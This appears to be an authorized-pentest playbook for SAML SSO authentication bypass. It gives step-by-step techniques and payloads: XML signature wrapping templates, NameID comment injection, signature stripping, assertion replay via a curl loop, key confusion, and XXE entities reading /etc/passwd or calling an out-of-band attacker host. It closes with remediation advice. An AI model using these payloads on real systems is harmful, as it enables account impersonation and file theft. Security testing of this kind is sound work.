Identifying and exploiting SAML SSO weaknesses including XML Signature Wrapping (XSW1-8), comment injection in NameID, missing/stripped signatures, recipient and audience confusion, assertion replay, key confusion, and XXE in SAML messages to forge authentication and impersonate users.
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Identifying and exploiting SAML SSO weaknesses including XML Signature Wrapping (XSW1-8), comment injection in NameID, missing/stripped signatures, recipient and audience confusion, assertion replay, key confusion, and XXE in SAML messages to forge authentication and impersonate users.
During authorized penetration tests of applications that use SAML 2.0 for SSO (enterprise apps, IdP-integrated portals)
When the target is a Service Provider (SP) accepting assertions from an Identity Provider (IdP)
For validating that signatures are verified correctly, that the signed element is the one consumed, and that recipient/audience/conditions are enforced
When testing whether an attacker who controls one account (or none) can forge or tamper assertions to impersonate other users or admins
During bug bounty programs targeting SSO/authentication bypass
Prerequisites
Authorization: Written penetration testing agreement covering authentication bypass and IdP/SP testing
Burp Suite Professional + SAML Raider: The primary tool for editing, re-signing, and wrapping SAML messages
Two SP accounts where possible: A low-privilege attacker account and a target (admin/victim) identity to impersonate
A captured SAMLResponse: A full, valid login flow recorded through Burp (decode base64 + inflate if redirect binding)
Understanding of bindings: HTTP-POST (SAMLResponse form field, base64) vs HTTP-Redirect (deflated + base64 + URL-encoded)
Critical: Checks Most Often Missed
SAML breaks when the SP verifies a signature over one element but trusts a
different element, or skips verification entirely. Work this checklist:
No signature at all is accepted. Strip the <ds:Signature> element
completely and submit. Many SPs only validate a signature if present — a
missing signature then yields a fully forged, attacker-authored assertion.
Signature exclusion / partial signing. The Response may be signed but the
Assertion is not (or vice-versa). Tamper the unsigned element. Also test
removing the inner Assertion signature while keeping the Response signature.
XML Signature Wrapping (XSW1-8) is the core attack. Keep the validly
signed element so signature verification passes, but inject a second forged
assertion the application logic actually reads. Cycle through all 8 XSW
permutations (different parent nodes, ID handling, ordering) with SAML Raider.
NameID comment injection. Insert an XML comment inside <NameID>:
admin@corp.example<!---->.attacker@evil.example. Signature still validates
(canonicalization), but the SP's XML reader may return only
— impersonating the admin. Test , splits too.
admin@corp.example
<!-- -->
<![CDATA[]]>
Recipient / Destination / Audience not validated. Reuse a valid assertion
issued for a different SP/recipient against this SP (token recipient
confusion / audience restriction bypass).
Assertion replay. Resend the same SAMLResponse multiple times and after
its window; if NotOnOrAfter/OneTimeUse/replay-cache is not enforced, the
token is reusable.
Key confusion / self-signed acceptance. Re-sign a tampered assertion with
your own certificate and submit it (use SAML Raider's "Send Certificate to
IdP"/re-sign). If the SP trusts any embedded <KeyInfo>/cert instead of a
pinned IdP key, your forgery is accepted.
Signature algorithm downgrade / XXE. Try SignatureMethod downgrade and
inject XXE via a DOCTYPE/external entity in the SAML XML to read files or
trigger SSRF on the SP's parser.
Always decode AND re-inflate correctly. Redirect-binding messages are
raw-deflate + base64 + URL-encoded; mangling the encoding produces false
negatives. Verify your tampered message round-trips before concluding "fixed".
Workflow
Step 1: Capture and Decode the SAML Flow
Record a full SSO login and decode the assertion for analysis.
# Capture the SAMLResponse in Burp (POST binding: base64 form field).# Decode it:echo"$SAMLRESPONSE_B64" | base64 -d > resp.xml
xmllint --format resp.xml | head -n 60
# For HTTP-Redirect binding (deflated): URL-decode, base64-decode, then inflate:
python3 - <<'PY'
import base64, zlib, urllib.parse, sys
raw = urllib.parse.unquote(open('saml_redirect.txt').read().strip())
data = base64.b64decode(raw)
print(zlib.decompress(data, -15).decode()) # -15 = raw deflate
PY
# Identify the key elements:# <samlp:Response ID="_resp1" ...># <ds:Signature> ... <ds:Reference URI="#_resp1"/> ... (what is signed?)# <saml:Assertion ID="_assert1"># <saml:Subject><saml:NameID>user@corp.example</saml:NameID># <saml:Conditions NotBefore=... NotOnOrAfter=... ># <saml:AudienceRestriction><saml:Audience>...</saml:Audience># <saml:SubjectConfirmationData Recipient="https://sp/acs" .../># Note the Reference URI to know WHICH element the signature actually covers.
Step 2: Test Missing / Stripped Signature
Determine whether the SP enforces that a signature exists and covers the assertion.
# In SAML Raider (Burp > intercept the SAMLResponse > SAML Raider Certificate tab):
# 1. Remove Signatures -> deletes <ds:Signature> entirely
# 2. Forward the message with a tampered NameID (e.g. admin@corp.example)
#
# Outcomes:
# - Login as admin succeeds => signature not required (critical)
# - Rejected => proceed to wrapping / comment injection
# Manual variant: delete only the inner <saml:Assertion>'s <ds:Signature>
# while keeping the Response-level signature, then alter the Assertion subject.
# Tests "signs the Response but trusts the Assertion" confusion.
Step 3: XML Signature Wrapping (XSW1-8)
Inject a forged assertion the app reads while the signed original passes verification.
# SAML Raider automates all 8 XSW templates:
# Burp > intercept SAMLResponse > "SAML Raider" tab > "XSW" dropdown
# Select XSW1 ... XSW8 in turn, set the injected NameID to the victim/admin,
# then Forward and observe which identity the SP logs you in as.
# What each family does (conceptually):
# XSW1/2 -> wrap the signed Response; add a forged Response/Assertion sibling
# XSW3/4 -> forged Assertion as sibling/child of the signed Assertion
# XSW5/6 -> move the original signed Assertion into the Signature/extensions,
# present a forged Assertion where the app looks
# XSW7/8 -> abuse Extensions / Object wrappers to hide the signed element
# Manual XSW3 sketch (forged assertion BEFORE the signed one, app reads first):
# <samlp:Response>
# <saml:Assertion ID="_evil"> <-- forged, attacker NameID=admin
# <saml:Subject><saml:NameID>admin@corp.example</saml:NameID>...
# </saml:Assertion>
# <saml:Assertion ID="_assert1"> <-- original, validly signed
# <ds:Signature><ds:Reference URI="#_assert1"/></ds:Signature>
# <saml:Subject><saml:NameID>attacker@corp.example</saml:NameID>...
# </saml:Assertion>
# </samlp:Response>
# Signature verifies #_assert1; vulnerable SP processes the FIRST/_evil assertion.
# Iterate XSW1-8 because SPs differ in which node they select after verification.
Step 4: NameID Comment Injection
Exploit canonicalization vs application parsing mismatch to impersonate users.
# Goal: keep the signature valid (comments are ignored by c14n) but change what
# the application reads as the username.
# Original signed NameID:
# <saml:NameID>attacker@evil.example</saml:NameID>
# Tampered (signature still validates):
# <saml:NameID>admin@corp.example<!---->.evil.example</saml:NameID>
# <saml:NameID>admin@corp.example<!-- -->attacker@evil.example</saml:NameID>
# Vulnerable XML readers return only the text node before/around the comment
# (e.g. "admin@corp.example"), logging you in as admin.
# Also test CDATA and double-comment splits:
# admin<![CDATA[]]>@corp.example
# admin@corp.example<!--x--><!--y-->junk
# Requires an account whose prefix matches the victim's identifier — pick the
# injection point so the truncated value equals the target identity.
Step 5: Recipient/Audience Confusion and Replay
Reuse assertions across SPs/time when conditions are not enforced.
# Recipient confusion: take a valid assertion issued for SP-A and submit it to# SP-B's ACS. If SP-B does not validate Recipient/Destination/Audience, it# accepts a token never meant for it.# Replay: resend the SAME SAMLResponse multiple times, and again AFTER its# NotOnOrAfter window:for i in 1 2 3; do
curl -s -o /dev/null -w "replay$i:%{http_code}\n" \
-X POST "https://sp.example.com/saml/acs" \
--data-urlencode "SAMLResponse=$SAMLRESPONSE_B64" \
--data "RelayState=/dashboard"done# Repeated success => no replay cache / OneTimeUse / window enforcement.# Also tamper <saml:Conditions NotOnOrAfter> to a far-future date; if the# signature wasn't required (Step 2) or you re-signed (Step 6), the SP may honor it.
Step 6: Key Confusion and XXE
Forge with your own key, or attack the SP's XML parser directly.
# Key confusion / self-sign (SAML Raider):
# 1. SAML Raider Certificates tab > "Import certificate" or generate a new one
# 2. Tamper the assertion (NameID=admin, future Conditions)
# 3. "(Re-)Sign Assertion"/"(Re-)Sign Message" with YOUR cert; the tool embeds
# your <KeyInfo>/certificate.
# 4. Forward. If the SP trusts the embedded cert instead of a pinned IdP key,
# the forged assertion is accepted.
# Signature algorithm downgrade: change <ds:SignatureMethod Algorithm=...> to a
# weaker/none-like value and observe whether verification is skipped.
# XXE in the SAML message (SP parses attacker XML):
# <?xml version="1.0"?>
# <!DOCTYPE samlp:Response [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# ... <saml:NameID>&xxe;</saml:NameID> ...
# OOB/SSRF variant:
# <!ENTITY xxe SYSTEM "http://attacker.oob.example/x">
# Re-encode (base64 / deflate) and submit; watch for file contents reflected in
# errors or an OOB callback.
Key Concepts
Concept
Description
XML Signature Wrapping (XSW)
Keeping a validly signed element while the app processes a separate forged element
NameID comment injection
Using XML comments so canonicalization ignores them but the parser truncates the value
Signature exclusion
SP accepting assertions with the signature removed or only partially covering the data
Recipient/Audience confusion
Replaying an assertion intended for a different SP because conditions aren't validated
Assertion replay
Reusing the same SAMLResponse due to missing replay cache / OneTimeUse / time-window checks
Key confusion
SP trusting an attacker-embedded certificate/KeyInfo instead of a pinned IdP key
XXE in SAML
Injecting external entities into the SAML XML to read files or trigger SSRF on the SP parser
Bindings
HTTP-POST (base64 form field) vs HTTP-Redirect (raw-deflate + base64 + URL-encode)
Tools & Systems
Tool
Purpose
SAML Raider (Burp extension)
Edit, remove signatures, apply XSW1-8 templates, re-sign with custom certs
Burp Suite Professional
Intercept POST/Redirect SAML messages and the ACS response
xmllint
Pretty-print and validate the decoded assertion structure
Python (zlib/base64)
Decode/inflate redirect-binding messages and re-encode tampered XML
SAML-tracer (browser ext)
Quickly view SAML messages in the browser during reconnaissance
xmlsec1
Inspect/verify signature references and canonicalization behavior
Common Scenarios
Scenario 1: Missing Signature Acceptance
The SP validates a signature only when present. Removing <ds:Signature> and setting NameID to admin@corp.example logs the attacker in as an administrator.
Scenario 2: XSW3 Wrapping
The signature covers _assert1, but the SP processes the first assertion in document order. Injecting a forged assertion before the signed one impersonates any user while verification still passes.
Scenario 3: NameID Comment Injection
admin@corp.example<!---->x keeps the signature valid (comments dropped by c14n) but the SP's XML reader returns admin@corp.example, granting the attacker the admin session.
Scenario 4: Cross-SP Assertion Replay
An assertion minted for one SP is replayed to a second SP that does not check Audience/Recipient, yielding unauthorized access without any tampering.
Output Format
## SAML Authentication Flaw Finding
**Vulnerability**: SAML XML Signature Wrapping (XSW3) leading to authentication bypass
**Severity**: Critical (CVSS 9.1)
**Location**: POST /saml/acs (Service Provider Assertion Consumer Service)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Capture a valid SAMLResponse logging in as attacker@corp.example
2. In SAML Raider, apply the XSW3 template; set the injected NameID to admin@corp.example
3. Forward the tampered SAMLResponse to /saml/acs
4. Signature verification passes (covers original _assert1); the SP processes the forged assertion
5. Authenticated session is established as admin@corp.example
### Techniques Confirmed
| Technique | Result |
|-----------|--------|
| Signature removed | Rejected |
| XSW3 wrapping | Bypassed -> admin session |
| NameID comment injection | Bypassed (truncates to admin@corp.example) |
| Assertion replay (x3) | Accepted (no replay cache) |
| Recipient/Audience check | Not enforced |
### Impact
- Full authentication bypass and impersonation of arbitrary users including admins
- No valid credentials for the target identity required
- Assertion replay enables persistent reuse of a captured token
### Recommendation
1. Verify the signature and ensure the signed element is exactly the one consumed
(resolve by reference, reject documents with multiple/unsigned assertions).
2. Reject assertions lacking a signature; never "validate only if present".
3. Use a hardened SAML library; disable DTD/external entities to stop XXE.
4. Strip/forbid comments in NameID processing; use canonical text extraction.
5. Pin the IdP signing certificate; ignore embedded KeyInfo for trust decisions.
6. Enforce Recipient, Destination, Audience, NotBefore/NotOnOrAfter, and a
one-time-use replay cache on every assertion.
